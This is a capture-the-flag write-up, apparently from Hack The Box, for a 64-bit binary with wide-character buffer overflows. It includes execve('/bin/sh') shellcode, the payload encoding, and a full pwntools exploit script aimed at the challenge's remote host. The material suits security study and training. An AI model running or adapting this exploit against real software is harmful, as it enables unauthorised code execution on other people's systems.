$ cat writeup.md…
$ cat writeup.md…
hackthebox
64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (`fgetws`, `wcscmp`, `wcstol`, `wprintf`) with `en_US.UTF-8` locale. Bilingual interface (English + Chinese).
"We turned our assembly tester off because a big mistake from our new C developer. Do you think there are other mistakes he made?"
64-bit ELF PIE binary, dynamically linked, not stripped. Compiled with GCC 10.2.1 (Debian). Uses wide character API (fgetws, wcscmp, wcstol, wprintf) with en_US.UTF-8 locale. Bilingual interface (English + Chinese).
Remote target: 154.57.164.71:31387.
| Protection | Status |
|---|---|
| PIE | Enabled (but target is MAP_FIXED address, PIE not relevant) |
| NX | Enabled (but 0x11000 is RWX via mmap) |
| Canary | None |
| RELRO | Partial |
Sets locale to en_US.UTF-8 and creates two adjacent mmap regions with fixed addresses:
0x10000 (SupportMsg) — RW, 0x4b0 (1200) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS
0x11000 (AssemblyTestPage) — RWX, 0x800 (2048) bytes — MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS (PROT_READ|PROT_WRITE|PROT_EXEC)
Critical point: AssemblyTestPage has execute permissions, and MAP_FIXED means addresses are independent of ASLR.
eliot / 4007fgetws(username_buf, 30, stdin) -- 30 wchar_t into 32-wchar_t buffer (safe)fgetws(password_buf, 0x12c, stdin) -- 300 wchar_t into 32-wchar_t buffer (OVERFLOW!)password_buf at RSP+0x00, username_buf at RSP+0x80RSP+0x158 = 86 wchar_t from start of password_bufpush rbx; sub rsp, 0x150 (no RBP frame, no canary)"Big mistake from the C developer": truncates wchar_t (4 bytes on Linux x86-64) to char16_t (2 bytes), keeping only the lower 16 bits. No bounds checking on destination buffer.
fgetws(msg_buf, 0x1000, stdin) -- reads up to 4096 wchar_t into 4000-wchar_t bufferwcharToChar16(msg_buf, SupportMsg, 0x1000) -- writes up to 8192 bytes starting at SupportMsg (0x10000, only 1200 bytes allocated)AssemblyTestPage at address 0x11000 (RWX!)Menu: 1. Assembly Tester (disabled), 2. Contact Support, 3. Logout, 4. Exit.
V1 -- Login password stack overflow (CRITICAL): fgetws(buf, 300, stdin) reads 1200 bytes into 128-byte buffer. Return address at offset 86 wchar_t (344 bytes).
V2 -- ContactSupport mmap overflow (CRITICAL): wcharToChar16 writes up to 8192 bytes from SupportMsg (0x10000) into AssemblyTestPage (0x11000, RWX). Allows shellcode injection at a fixed, known, executable address.
V3 -- Type confusion (HIGH): wcharToChar16 confuses wchar_t (4B) with char16_t (2B) -- "big mistake from the C developer".
┌──────────────────────────────────────────────────────────────────────┐
│ 1. Login with eliot/4007 │
│ 2. ContactSupport → 2048 padding + shellcode → shellcode at 0x11000 │
│ 3. Logout │
│ 4. Re-login with password overflow → RIP = 0x11000 │
│ 5. execve("/bin/sh") → shell │
└──────────────────────────────────────────────────────────────────────┘
Standard login: eliot / 4007.
Select option 2 (Contact Support) and send a specially crafted payload:
Padding (2048 'A' characters):
0x00000041wcharToChar16 truncates to char16_t 0x0041 = 2 bytesSupportMsg from 0x10000 to 0x10FFFShellcode (after padding):
(b0, b1) is encoded as one wchar_t with value b0 | (b1 << 8)fgetws converts UTF-8 back to wchar_twcharToChar16 truncates to char16_t, writing original bytes b0, b1 at address 0x11000+Shellcode -- execve("/bin/sh", NULL, NULL), 26 bytes:
xor rsi, rsi ; 48 31 f6 — rsi = 0 (argv) push rsi ; 56 — push 0 (null terminator) movabs rdi, "/bin//sh" ; 48 bf 2f 62 69 6e 2f 2f 73 68 push rdi ; 57 — push string to stack mov rdi, rsp ; 48 89 e7 — rdi = pointer to string xor rdx, rdx ; 48 31 d2 — rdx = 0 (envp) push 0x3b ; 6a 3b — syscall number pop rax ; 58 syscall ; 0f 05
Select option 3 to logout. Return to main main() loop.
Send arbitrary username ('A') and specially crafted password:
[86 'B' characters] [addr 0x11000 as UTF-8] [raw 0x00 byte]
Payload breakdown:
0x00000042, filling 86 * 4 = 344 bytes up to return addresswchar_to_utf8(0x11000) = F0 91 80 80 -- UTF-8 encoding of U+11000, fgetws converts to wchar_t 0x00011000 = lower 4 bytes of return address\x00 byte -- fgetws converts to wchar_t 0x00000000 = upper 4 bytes of return addressKey trick: fgetws does NOT stop on null wchar_t (only on newline or EOF), so the null byte passes through!
Final return address on stack: 0x0000000000011000 -- exactly at our shellcode.
Login() returns -> RIP = 0x11000 -> shellcode executes -> /bin/sh -> cat flag* -> flag!
| Protection | Why it doesn't work |
|---|---|
| No canary | Stack overflow is trivial, no leak needed |
| PIE | Target is MAP_FIXED address 0x11000, independent of ASLR |
| NX | Page 0x11000 has PROT_EXEC (RWX via mmap) |
| ASLR | MAP_FIXED fixes mmap addresses regardless of ASLR |
| Partial RELRO | GOT overwrite not needed |
#!/usr/bin/env python3 from pwn import * import struct, sys context.arch = 'amd64' context.os = 'linux' r = remote('154.57.164.71', 31387) def wchar_to_utf8(cp): """Encode a Unicode codepoint as UTF-8 bytes""" if cp == 0: return b'\x00' if cp <= 0x7F: return bytes([cp]) elif cp <= 0x7FF: return bytes([0xC0|(cp>>6), 0x80|(cp&0x3F)]) elif cp <= 0xFFFF: return bytes([0xE0|(cp>>12), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) elif cp <= 0x10FFFF: return bytes([0xF0|(cp>>18), 0x80|((cp>>12)&0x3F), 0x80|((cp>>6)&0x3F), 0x80|(cp&0x3F)]) # execve("/bin/sh", NULL, NULL) shellcode - 26 bytes shellcode = bytes.fromhex('4831f65648bf2f62696e2f2f736857488' '9e74831d26a3b580f05') if len(shellcode) % 2 != 0: shellcode += b'\x90' # Step 1: Login r.recvuntil(b'Username: '); r.sendline(b'eliot') r.recvuntil(b'Password: '); r.sendline(b'4007') r.recvuntil(b'>> ') # Step 2: Inject shellcode at 0x11000 via ContactSupport mmap overflow r.sendline(b'2'); r.recvuntil(b'\n\n') payload = b'A' * 2048 # Fill SupportMsg (0x10000 -> 0x10FFF) for i in range(0, len(shellcode), 2): val = struct.unpack('<H', shellcode[i:i+2])[0] payload += wchar_to_utf8(val) r.sendline(payload); r.recvuntil(b'>> ') # Step 3: Logout r.sendline(b'3') # Step 4: Re-login with password overflow -> RIP = 0x11000 r.recvuntil(b'Username: '); r.sendline(b'A') r.recvuntil(b'Password: ') r.sendline(b'B' * 86 + wchar_to_utf8(0x11000) + b'\x00') # Step 5: Shell r.interactive()
(b0, b1) becomes wchar_t b0 | (b1 << 8), sent as UTF-8, fgetws decodes back to wchar_t, wcharToChar16 truncates to 2 bytes -- restoring the original pair. This is an elegant encoding scheme specific to wide character overflow.\x00 via TCP -> fgetws converts to wchar_t 0x00000000 -> provides zero upper 4 bytes of 64-bit return address. Without this trick it would be impossible to form the correct address 0x0000000000011000.Setup() -- this is the "other mistakes" from the C developer.$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar